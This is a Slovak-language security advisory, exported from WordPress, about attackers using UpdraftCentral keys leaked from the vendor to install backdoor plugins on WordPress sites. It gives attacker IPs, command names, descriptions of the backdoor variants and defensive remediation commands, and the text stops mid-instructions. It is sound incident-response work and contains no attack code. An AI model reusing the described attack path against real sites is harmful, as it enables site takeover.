{"id":9625,"date":"2026-10-19T07:44:01","date_gmt":"2026-10-19T05:44:01","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-rozbor\/"},"modified":"2026-10-26T04:35:56","modified_gmt":"2026-10-26T03:35:56","slug":"updraftcentral-backdoor-rozbor","status":"publish","type":"post","link":"https:\/\/nethemba.com\/sk\/updraftcentral-backdoor-rozbor\/","title":{"rendered":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby"},"content":{"rendered":"<h2 id=\"zhrnutie\">Zhrnutie<\/h2>\n<p><em>Stav k 22. okt\u00f3bru 2026, posledn\u00e1 aktualiz\u00e1cia 22. 10. 2026 (nov\u00e9 vyjadrenia v\u00fdrobcu, kontroln\u00fd skript v9). Zoznam zmien je na konci \u010dl\u00e1nku. Text budeme dop\u013a\u0148a\u0165 pod\u013ea \u010fal\u0161ieho v\u00fdvoja.<\/em><\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026:<\/strong> TeamUpdraft <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">potvrdil bezpe\u010dnostn\u00fd incident<\/a>. Cez v\u00edkend 17. a 18. okt\u00f3bra mal \u00fato\u010dn\u00edk neopr\u00e1vnen\u00fd pr\u00edstup na teamupdraft.com a pod\u013ea v\u00fdrobcu pravdepodobne z\u00edskal z\u00e1kazn\u00edcku datab\u00e1zu: men\u00e1, e-maily, faktura\u010dn\u00e9 adresy, hist\u00f3riu objedn\u00e1vok, hashe hesiel, nastavenia dvojfaktorov\u00e9ho overenia a k\u013e\u00fa\u010de spojen\u00ed pre UpdraftCentral (cloud), UpdraftVault a UpdraftClone. K\u013e\u00fa\u010de, ktor\u00fdmi \u00fato\u010dn\u00edk podpisoval pr\u00edkazy, teda unikli priamo od v\u00fdrobcu. V\u00fdrobca odhl\u00e1sil v\u0161etky \u00fa\u010dty, vymenil k\u013e\u00fa\u010de pre UpdraftVault a UpdraftClone a pripravuje n\u00fadzov\u00fa verziu UpdraftPlus, ktor\u00e1 automaticky odpoj\u00ed v\u0161etky spojenia UpdraftCentral vytvoren\u00e9 pred 18. 10. 2026 22:00 BST (23:00 SEL\u010c). Nesk\u00f4r t\u00fato hranicu vo vyhl\u00e1sen\u00ed opravil na 13:07 BST (14:07 SEL\u010c), pozri ni\u017e\u0161ie. Dashboardov UpdraftCentral hos\u0165ovan\u00fdch na vlastnom serveri sa \u00fanik pod\u013ea v\u00fdrobcu net\u00fdka.<\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026 (ve\u010der):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack zverejnil vlastn\u00fa anal\u00fdzu<\/a>, ktor\u00e1 na\u0161e zistenia potvrdzuje a roz\u0161iruje. Videl 99 r\u00f4znych n\u00e1zvov backdoor pluginov nain\u0161talovan\u00fdch od 18. 10. 15:32 do 19. 10. 9:23 a druh\u00fa IP adresu \u00fato\u010dn\u00edka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Ozvali sa n\u00e1m aj \u010fal\u0161\u00ed postihnut\u00ed spr\u00e1vcovia. Jeden z nich na\u0161iel <strong>druh\u00fd variant backdooru, ktor\u00fd vytv\u00e1ra administr\u00e1tora a pok\u00fa\u0161a sa ho skry\u0165<\/strong>. Popisujeme ho ni\u017e\u0161ie a kontroln\u00fd skript sme upravili, aby ho zachytil. Ak ste skript sp\u00fa\u0161\u0165ali sk\u00f4r, spustite ho znova.<\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026 (funk\u010dn\u00fd variant):<\/strong> \u010eal\u0161\u00ed spr\u00e1vca potvrdil, \u017ee <strong>funk\u010dn\u00e1 verzia backdooru je v obehu<\/strong>. Na jeho weboch boli tri zo \u0161tyroch backdoorov funk\u010dn\u00e9, ka\u017ed\u00fd s in\u00fdm n\u00e1zvom aj popisom. Bez parametra <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> prihl\u00e1si \u00fato\u010dn\u00edka ako existuj\u00faceho administr\u00e1tora a <strong>nezanech\u00e1 v datab\u00e1ze \u017eiadnu stopu<\/strong>, preto skontrolujte aj access log (postup ni\u017e\u0161ie). Kontroln\u00fd skript sme upravili na verziu 3, ktor\u00e1 tak\u00e9to vzorky zachyt\u00ed pod\u013ea k\u00f3du.<\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026 (rozbor vzorky):<\/strong> \u010eal\u0161\u00ed postihnut\u00fd spr\u00e1vca n\u00e1m poslal tri backdoory zo svojich webov. \u00dato\u010dn\u00edk tam najprv nahral pokazen\u00fd prv\u00fd variant a nesk\u00f4r funk\u010dn\u00e9 backdoory. <strong>Ak ste na\u0161li prv\u00fd variant, ale k\u013e\u00fa\u010d UpdraftCentral ste hne\u010f nezmazali, skontrolujte web znova.<\/strong> Vzorku druh\u00e9ho variantu sme tak mohli rozobra\u0165 aj sami. Skr\u00fdvanie \u00fa\u010dtu v nej nefunguje, tak\u017ee vytvoren\u00fd administr\u00e1tor sa v zozname pou\u017e\u00edvate\u013eov zobraz\u00ed norm\u00e1lne. Tretia vzorka je nov\u00fd minim\u00e1lny variant, ktor\u00fd \u00fato\u010dn\u00edka iba prihl\u00e1si ako existuj\u00faceho administr\u00e1tora. Zachyt\u00ed ho kontroln\u00fd skript vo verzii 4.<\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026 (\u00fato\u010dn\u00edk sa vracia):<\/strong> \u00dato\u010dn\u00edk je st\u00e1le akt\u00edvny. Po\u010das 19. okt\u00f3bra poslal na v\u0161etky tri na\u0161e weby \u010fal\u0161ie pr\u00edkazy, naposledy o 20:27 SEL\u010c. Na webe in\u00e9ho spr\u00e1vcu o 12:22 SEL\u010c pr\u00edkazom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> zmazal pokazen\u00fd backdoor a o dve sekundy nesk\u00f4r nahral nov\u00fd. U n\u00e1s pokusy zablokoval mu-plugin z kroku 3 a k\u013e\u00fa\u010de u\u017e boli zmazan\u00e9. <strong>K\u013e\u00fa\u010d UpdraftCentral zma\u017ete aj vtedy, ak ste backdoor u\u017e odstr\u00e1nili.<\/strong> Pokusy zablokovan\u00e9 mu-pluginom sa do logu UpdraftCentral nezap\u00ed\u0161u, n\u00e1jdete ich len v access logu.<\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026 (n\u00fadzov\u00e1 verzia):<\/strong> V\u00fdrobca vydal UpdraftPlus 1.26.12 \/ 2.26.12, ktor\u00e1 mala zmaza\u0165 k\u013e\u00fa\u010de UpdraftCentral Cloud spred incidentu. V k\u00f3de sme overili, \u017ee pre chybu nezma\u017ee \u017eiadny k\u013e\u00fa\u010d. V\u00fdrobca to v ten ist\u00fd ve\u010der opravil vo verzii 1.26.13 \/ 2.26.13. <strong>Aktualizujte na 1.26.13 \/ 2.26.13 alebo nov\u0161iu, nie na 1.26.12 \/ 2.26.12.<\/strong> Ani 1.26.13 v\u0161ak nezma\u017ee k\u013e\u00fa\u010de vytvoren\u00e9 18. 10. medzi 14:07 a 23:00 SEL\u010c, hoci v\u00fdrobca vo vyhl\u00e1sen\u00ed p\u00f4vodne uviedol hranicu 23:00 SEL\u010c. Vo vyhl\u00e1sen\u00ed aktualizovanom 23. 10. u\u017e uv\u00e1dza 14:07 SEL\u010c (13:07 BST), \u010do zodpoved\u00e1 k\u00f3du. K\u013e\u00fa\u010de vytvoren\u00e9 18. 10. nesk\u00f4r pre istotu zma\u017ete ru\u010dne; n\u00e1vod v\u00fdrobcu aj tak rad\u00ed zmaza\u0165 k\u013e\u00fa\u010d na ka\u017edom webe. \u00datoky na na\u0161e weby za\u010dali a\u017e po tom, \u010do v\u00fdrobca \u00fanik potvrdil a \u00fato\u010dn\u00edkovi zablokoval pr\u00edstup: ukradnut\u00e9 k\u013e\u00fa\u010de funguj\u00fa, k\u00fdm ich web nezma\u017ee. Na\u0161e weby s pr\u00e9miovou verziou ju dostali automaticky 20. 10.<\/p>\n<p><strong>Aktualiz\u00e1cia 20. 10. 2026 (k\u013e\u00fa\u010d bez vedomia spr\u00e1vcu):<\/strong> K\u013e\u00fa\u010d UpdraftCentral m\u00f4\u017eete ma\u0165, aj ke\u010f ste UpdraftCentral nikdy nepou\u017e\u00edvali. UpdraftPlus, bezplatn\u00fd aj pr\u00e9miov\u00fd, pri prihl\u00e1sen\u00ed k \u00fa\u010dtu teamupdraft.com predvolene za\u0161krtne pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c. Skontrolujte preto k\u013e\u00fa\u010d na ka\u017edom webe s UpdraftPlus. \u010eal\u0161\u00ed napadnut\u00fd spr\u00e1vca n\u00e1m nap\u00edsal, \u017ee UpdraftCentral nikdy nezap\u00ednal. Jeho web mal Wordfence, Patchstack aj Cloudflare a ani jeden z nich platne podp\u00edsan\u00fd pr\u00edkaz UpdraftCentral nezastavil.<\/p>\n<p><strong>Aktualiz\u00e1cia 20. 10. 2026 (skryt\u00fd backdoor):<\/strong> \u010eal\u0161\u00ed spr\u00e1vca n\u00e1m poslal tri backdoory z jedn\u00e9ho webu. Jeden z nich, \u201eSite Health Cache\u201c, sa skr\u00fdva zo zoznamu pluginov v administr\u00e1cii, tak\u017ee ho tam neuvid\u00edte. Spo\u013eahnite sa preto na kontroln\u00fd skript, ktor\u00fd \u010d\u00edta s\u00fabory priamo z disku. Na tom istom webe \u00fato\u010dn\u00edk za necel\u00fdch desa\u0165 hod\u00edn nahral minim\u00e1lny, funk\u010dn\u00fd aj pokazen\u00fd variant.<\/p>\n<p><strong>Aktualiz\u00e1cia 20. 10. 2026 (\u010fal\u0161ie vzorky):<\/strong> Od troch spr\u00e1vcov sme dostali \u010fal\u0161\u00edch desa\u0165 vzoriek. V\u0161etky patria k trom zn\u00e1mym variantom, men\u00ed sa len n\u00e1zov, popis, falo\u0161n\u00fd autor a token. Na dvoch weboch jedn\u00e9ho spr\u00e1vcu be\u017eali funk\u010dn\u00e9 backdoory vy\u0161e troch hod\u00edn predt\u00fdm, ne\u017e web zhodil pokazen\u00fd variant. <strong>To, \u017ee web spadol, teda neznamen\u00e1, \u017ee \u00fato\u010dn\u00edk predt\u00fdm nemohol vojs\u0165.<\/strong> Access log skontrolujte aj vtedy. Aj tento spr\u00e1vca UpdraftCentral pod\u013ea vlastn\u00fdch slov nikdy nepou\u017e\u00edval.<\/p>\n<p><strong>Aktualiz\u00e1cia 20. 10. 2026 (\u00fato\u010dn\u00edk sk\u00fa\u0161a backdoory):<\/strong> 20. okt\u00f3bra \u00fato\u010dn\u00edk priamo vysk\u00fa\u0161al tajn\u00e9 sp\u00fa\u0161\u0165a\u010de u\u017e odstr\u00e1nen\u00fdch backdoorov na najmenej \u0161iestich weboch \u0161tyroch spr\u00e1vcov vr\u00e1tane dvoch na\u0161ich (u n\u00e1s o 11:39 a 11:57 UTC). Na na\u0161ich weboch pou\u017eil spr\u00e1vne tokeny. Po\u017eiadavky pri\u0161li z IP adries <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> a z rozsahov <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, v\u017edy s orezanou hlavi\u010dkou User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code>. V\u0161ade dostal be\u017en\u00fa str\u00e1nku alebo chybu, lebo backdoory tam u\u017e neboli. <strong>Ak backdoor na webe e\u0161te m\u00e1te, \u00fato\u010dn\u00edk ho akt\u00edvne pou\u017e\u00edva.<\/strong> Access log preh\u013eadajte pod\u013ea postupu ni\u017e\u0161ie.<\/p>\n<p><strong>Aktualiz\u00e1cia 21. 10. 2026 (\u00fato\u010dn\u00edk st\u00e1le posiela pr\u00edkazy):<\/strong> Aj 21. okt\u00f3bra r\u00e1no poslal \u00fato\u010dn\u00edk z IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> \u010fal\u0161ie pr\u00edkazy UpdraftCentral na dva na\u0161e weby (7:10 a\u017e 9:21 UTC), teda u\u017e po vydan\u00ed verzie 1.26.13 \/ 2.26.13. U n\u00e1s ich zastavil mu-plugin a k\u013e\u00fa\u010de u\u017e neexistovali. \u00dato\u010dn\u00edk teda k\u013e\u00fa\u010de z \u00faniku st\u00e1le pou\u017e\u00edva. <strong>Ohrozen\u00e9 zost\u00e1vaj\u00fa weby, ktor\u00e9 nemaj\u00fa 1.26.13 \/ 2.26.13 a k\u013e\u00fa\u010d nezmazali ru\u010dne.<\/strong><\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>\u010coho sa to t\u00fdka<\/strong><\/td>\n<td>slu\u017eby UpdraftCentral, ktorej klient je s\u00fa\u010das\u0165ou pluginu UpdraftPlus, bezplatn\u00e9ho aj pr\u00e9miov\u00e9ho<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Dotknut\u00e9 verzie<\/strong><\/td>\n<td>v\u0161etky verzie UpdraftPlus do 1.26.12 a 2.26.12 pripojen\u00e9 k UpdraftCentral Cloud spojen\u00edm vytvoren\u00fdm najnesk\u00f4r 18. 10. 2026. Verzia 1.26.13 \/ 2.26.13 zma\u017ee k\u013e\u00fa\u010de vytvoren\u00e9 pred 18. 10. 14:07 SEL\u010c (13:07 BST). T\u00fato hranicu uv\u00e1dza od aktualiz\u00e1cie 23. 10. aj vyhl\u00e1senie v\u00fdrobcu (p\u00f4vodne 23:00 SEL\u010c). K\u013e\u00fa\u010de vytvoren\u00e9 18. 10. nesk\u00f4r na webe ostan\u00fa, preto ich pre istotu zma\u017ete ru\u010dne. Pripojen\u00e9 weby s verziami do 1.26.4 a 2.26.4 vie \u00fato\u010dn\u00edk napadn\u00fa\u0165 aj bez platn\u00fdch k\u013e\u00fa\u010dov (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Ko\u013eko webov<\/strong><\/td>\n<td>UpdraftPlus m\u00e1 pod\u013ea wordpress.org viac ako 4 mili\u00f3ny akt\u00edvnych in\u0161tal\u00e1ci\u00ed a v\u00fdrobca ho ozna\u010duje za najpopul\u00e1rnej\u0161\u00ed plugin na pl\u00e1novan\u00e9 z\u00e1lohovanie na svete. Pri j\u00fanovej chybe toho ist\u00e9ho kan\u00e1la v\u00fdrobca odhadol, \u017ee k\u013e\u00fa\u010d UpdraftCentral alebo Migrator m\u00e1 menej ako 10 % pou\u017e\u00edvate\u013eov, teda a\u017e okolo 400 000 webov. Ko\u013eko z nich \u00fato\u010dn\u00edk napadol, nevieme.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Oprava<\/strong><\/td>\n<td>v\u00fdrobca 19. 10. vydal UpdraftPlus 1.26.12 \/ 2.26.12, ktor\u00e1 mala zmaza\u0165 star\u00e9 k\u013e\u00fa\u010de UpdraftCentral Cloud, ale pre chybu nezma\u017ee \u017eiadny. Funguje a\u017e 1.26.13 \/ 2.26.13 z ve\u010dera 19. 10.: pri ka\u017edom na\u010d\u00edtan\u00ed webu zma\u017ee k\u013e\u00fa\u010de UpdraftCentral Cloud vytvoren\u00e9 pred 18. 10. 2026 14:07 SEL\u010c. K\u013e\u00fa\u010de vytvoren\u00e9 od 14:07 do 23:00 SEL\u010c (p\u00f4vodn\u00e1 hranica v\u00fdrobcu) treba zmaza\u0165 ru\u010dne, rovnako na weboch, kde aktualiz\u00e1cia e\u0161te neprebehla. N\u00e1vod v\u00fdrobcu aj tak rad\u00ed zmaza\u0165 k\u013e\u00fa\u010d na ka\u017edom webe. Pod\u013ea v\u00fdrobcu WordPress.org verziu 1.26.13 rozoslal v\u0161etk\u00fdm webom automaticky.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Do\u010dasn\u00e9 rie\u0161enie<\/strong><\/td>\n<td>zru\u0161i\u0165 spojenie s UpdraftCentral, web skontrolova\u0165 na\u0161\u00edm skriptom, zmeni\u0165 heslo k \u00fa\u010dtu teamupdraft.com a volite\u013ene zablokova\u0165 pr\u00edkazy UpdraftCentral mal\u00fdm mu-pluginom (postup ni\u017e\u0161ie). UpdraftPlus netreba odin\u0161talova\u0165, z\u00e1lohovanie funguje \u010falej.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>V noci na 19. okt\u00f3bra 2026 poslal \u00fato\u010dn\u00edk z IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> cez slu\u017ebu UpdraftCentral pr\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> na tri na\u0161e WordPress weby. UpdraftCentral je slu\u017eba na vzdialen\u00fa spr\u00e1vu webov od TeamUpdraft a jej klient je zabudovan\u00fd v ka\u017edej k\u00f3pii pluginu UpdraftPlus. Na dvoch z na\u0161ich webov pr\u00edkaz pre\u0161iel a WordPress nain\u0161taloval a aktivoval nezn\u00e1my plugin. Na tre\u0165om zlyhal na opr\u00e1vneniach.<\/p>\n<p>Chyba nebola na na\u0161ej strane. V\u0161etky tri weby mali aktu\u00e1lny WordPress 7.1.3 aj UpdraftPlus 2.26.11, opraven\u00fd proti j\u00fanovej zranite\u013enosti CVE-2026-10795. \u00dato\u010dn\u00edk sa do na\u0161ich serverov nenab\u00faral a nevyu\u017eil \u017eiadnu chybu v na\u0161ej konfigur\u00e1cii. Pri\u0161iel kan\u00e1lom vzdialenej spr\u00e1vy UpdraftCentral a pr\u00edkazy podp\u00edsal platn\u00fdmi s\u00fakromn\u00fdmi k\u013e\u00fa\u010dmi dashboardu. Tie generuje a uchov\u00e1va slu\u017eba UpdraftCentral Cloud a na na\u0161ich serveroch nikdy neboli. Kto ich m\u00e1, m\u00f4\u017ee na ka\u017edom pripojenom webe bez vedomia majite\u013ea nain\u0161talova\u0165 a spusti\u0165 \u013eubovo\u013en\u00fd k\u00f3d. Preto to pova\u017eujeme za kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m slu\u017eby UpdraftCentral.<\/p>\n<p><strong>Kto je ohrozen\u00fd:<\/strong> ka\u017ed\u00fd web s UpdraftPlus, bezplatn\u00fdm aj pr\u00e9miov\u00fdm, ktor\u00fd je pripojen\u00fd k UpdraftCentral, teda m\u00e1 vytvoren\u00fd k\u013e\u00fa\u010d UpdraftCentral. Klienta UpdraftCentral obsahuje ka\u017ed\u00e1 z viac ako 4 mili\u00f3nov in\u0161tal\u00e1ci\u00ed UpdraftPlus. Weby, ktor\u00e9 k UpdraftCentral pripojen\u00e9 nie s\u00fa, tento \u00fatok neohrozuje, lebo pr\u00edkazy UpdraftCentral bez k\u013e\u00fa\u010da neprij\u00edmaj\u00fa. Na\u0161e weby boli pripojen\u00e9 k UpdraftCentral Cloud, teda k dashboardu, ktor\u00fd prev\u00e1dzkuje TeamUpdraft. Pod\u013ea v\u00fdrobcu sa \u00fanik net\u00fdka dashboardov UpdraftCentral hos\u0165ovan\u00fdch na vlastnom serveri. Unikli v\u0161ak aj k\u013e\u00fa\u010de pre UpdraftVault a UpdraftClone, ktor\u00e9 v\u00fdrobca medzit\u00fdm vymenil. K\u013e\u00fa\u010d pritom mohol vznikn\u00fa\u0165 aj bez vedomia spr\u00e1vcu: bezplatn\u00e1 aj pr\u00e9miov\u00e1 verzia pri prihl\u00e1sen\u00ed k \u00fa\u010dtu teamupdraft.com na karte Premium \/ Extensions pon\u00faka pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c, ktor\u00e9 je predvolene za\u0161krtnut\u00e9, k\u00fdm web nem\u00e1 \u017eiadny k\u013e\u00fa\u010d (overili sme v k\u00f3de verzi\u00ed 2.26.11 a 1.26.13). Samotnou in\u0161tal\u00e1ciou pluginu k\u013e\u00fa\u010d nevznikne, len prihl\u00e1sen\u00edm k \u00fa\u010dtu teamupdraft.com v plugine. T\u00fdka sa to preto najm\u00e4 pr\u00e9miov\u00fdch webov, kde sa spr\u00e1vca prihlasuje kv\u00f4li licencii a aktualiz\u00e1ci\u00e1m, a bezplatn\u00fdch webov, ktor\u00e9 sa k \u00fa\u010dtu niekedy prihl\u00e1sili.<\/p>\n<p>Nejde o zranite\u013enos\u0165 CVE-2026-10795, o ktorej v j\u00fani p\u00edsal Wordfence: t\u00fa mali na\u0161e weby opraven\u00fa a pokusy o jej zneu\u017eitie na nich zlyh\u00e1vali.<\/p>\n<p>Plugin je backdoor. Na tajn\u00fd odkaz mal vytvori\u0165 \u00fa\u010det so zamaskovan\u00fdmi pr\u00e1vami administr\u00e1tora a \u00fato\u010dn\u00edka do neho rovno prihl\u00e1si\u0165. Autor v\u0161ak v k\u00f3de urobil chybu, tak\u017ee na na\u0161ich weboch backdoor nikdy nefungoval. Namiesto toho zhodil ka\u017ed\u00fa po\u017eiadavku na web, ktor\u00e1 ne\u0161la z cache, a WordPress n\u00e1m o tom poslal e-mail. V\u010faka tomu sme ho na\u0161li do nieko\u013ek\u00fdch min\u00fat a\u017e hod\u00edn. In\u00ed spr\u00e1vcovia v\u0161ak u\u017e na\u0161li aj funk\u010dn\u00e9 varianty, ktor\u00e9 popisujeme ni\u017e\u0161ie.<\/p>\n<p>TeamUpdraft sme incident nahl\u00e1sili 19. okt\u00f3bra a po\u017eiadali sme ich o vysvetlenie, ako sa k\u013e\u00fa\u010de dostali k \u00fato\u010dn\u00edkovi.<\/p>\n<p><strong>Ak m\u00e1te web pripojen\u00fd k UpdraftCentral, pova\u017eujte ho za potenci\u00e1lne kompromitovan\u00fd, k\u00fdm ho neover\u00edte.<\/strong> Spojenie okam\u017eite zru\u0161te a web skontrolujte pod\u013ea postupu ni\u017e\u0161ie. K 19. okt\u00f3bru 2026 sme o tomto backdoore ani o podobnom \u00fatoku po j\u00fanovej oprave nena\u0161li \u017eiadnu verejn\u00fa zmienku.<\/p>\n<h2 id=\"\u010do-urobi\u0165-hne\u010f\">\u010co urobi\u0165 hne\u010f<\/h2>\n<h3 id=\"zru\u0161te-spojenie-s-updraftcentral\">1. Zru\u0161te spojenie s UpdraftCentral<\/h3>\n<p>Aktualizujte UpdraftPlus na verziu 1.26.13 (bezplatn\u00e1) alebo 2.26.13 (pr\u00e9miov\u00e1) \u010di nov\u0161iu. T\u00e1 sama zma\u017ee k\u013e\u00fa\u010de UpdraftCentral Cloud vytvoren\u00e9 pred 18. 10. 2026 14:07 SEL\u010c. Verzia 1.26.12 \/ 2.26.12 k\u013e\u00fa\u010de nezma\u017ee. Potom aj tak skontrolujte, \u010di na webe nezostal \u017eiadny k\u013e\u00fa\u010d:<\/p>\n<p>V administr\u00e1cii WordPressu otvorte Nastavenia \u2192 UpdraftPlus Backups \u2192 karta \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Kliknite na \u201eManage existing keys (N)\u2026\u201c a pri ka\u017edom k\u013e\u00fa\u010di na \u201eDelete\u2026\u201c. Ak tam \u017eiadny k\u013e\u00fa\u010d nie je, web pripojen\u00fd nie je.<\/p>\n<p>S pr\u00edstupom na pr\u00edkazov\u00fd riadok to ist\u00e9 urob\u00ed tento pr\u00edkaz v kore\u0148ovom prie\u010dinku WordPressu:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Potom web odstr\u00e1\u0148te aj v dashboarde UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 pri webe \u2192 Remove site). Samotn\u00e9 odstr\u00e1nenie z dashboardu nesta\u010d\u00ed. \u00dato\u010dn\u00edk m\u00e1 s\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu, tak\u017ee rozhoduje zmazanie k\u013e\u00fa\u010da na webe.<\/p>\n<p>V\u00fdrobca uv\u00e1dza, \u017ee po zmazan\u00ed k\u013e\u00fa\u010da, kontrole webu a zmene hesiel administr\u00e1torov m\u00f4\u017eete web znova pripoji\u0165. Predt\u00fdm si zme\u0148te heslo k \u00fa\u010dtu teamupdraft.com (adresu zadajte do prehliada\u010da ru\u010dne, nie cez odkaz z e-mailu), rovnak\u00e9 heslo zme\u0148te v\u0161ade, kde ste ho pou\u017eili, a znova nastavte dvojfaktorov\u00e9 overenie. Ak m\u00e1te nasaden\u00fd n\u00e1\u0161 blokovac\u00ed mu-plugin, pred nov\u00fdm pripojen\u00edm ho odstr\u00e1\u0148te. Kto pou\u017e\u00edva UpdraftVault, mus\u00ed web k nemu znova pripoji\u0165 s nov\u00fdmi \u00fadajmi.<\/p>\n<p>Ak na webe m\u00e1te aj k\u013e\u00fa\u010de UpdraftPlus Migrator (karta \u201eMigrate \/ Clone\u201c) a pr\u00e1ve nemigrujete, zma\u017ete aj tie, napr\u00edklad pr\u00edkazom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp option delete updraft_migrator_localkeys<\/code>. Pou\u017e\u00edvaj\u00fa ten ist\u00fd kan\u00e1l a dovo\u013euj\u00fa in\u00e9mu webu posiela\u0165 na v\u00e1\u0161 web s\u00fabory z\u00e1loh. Ich zneu\u017eitie sme zatia\u013e nevideli.<\/p>\n<p>Pr\u00e9miov\u00fd UpdraftPlus si heslo k \u00fa\u010dtu teamupdraft.com uklad\u00e1 do datab\u00e1zy tak, ako ho zad\u00e1te (vo\u013eba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>), a zma\u017ee ho a\u017e po \u00faspe\u0161nom overen\u00ed tokenom. M\u00f4\u017ee preto zosta\u0165 v datab\u00e1ze aj v jej z\u00e1loh\u00e1ch. V praxi tam \u010dasto zostane natrvalo. Jeden \u010ditate\u013e ho na\u0161iel na v\u0161etk\u00fdch troch weboch s pr\u00e9miovou verziou a v z\u00e1loh\u00e1ch u\u017e od roku 2022 a overil si, \u017ee sa ulo\u017e\u00ed pri oby\u010dajnom pripojen\u00ed k \u00fa\u010dtu na karte Premium \/ Extensions. My sme ho na\u0161li na jednom z troch webov. V\u00fdrobca uv\u00e1dza, \u017ee heslo sa po prvom pripojen\u00ed zma\u017ee, k\u00f3d ho v\u0161ak ma\u017ee a\u017e po \u00faspe\u0161nom n\u00e1rokovan\u00ed doplnkov cez token. Odstr\u00e1ni\u0165 ho m\u00f4\u017eete pr\u00edkazom ni\u017e\u0161ie, aktualiz\u00e1cie pluginu ho nepotrebuj\u00fa. Potom heslo k \u00fa\u010dtu zme\u0148te. 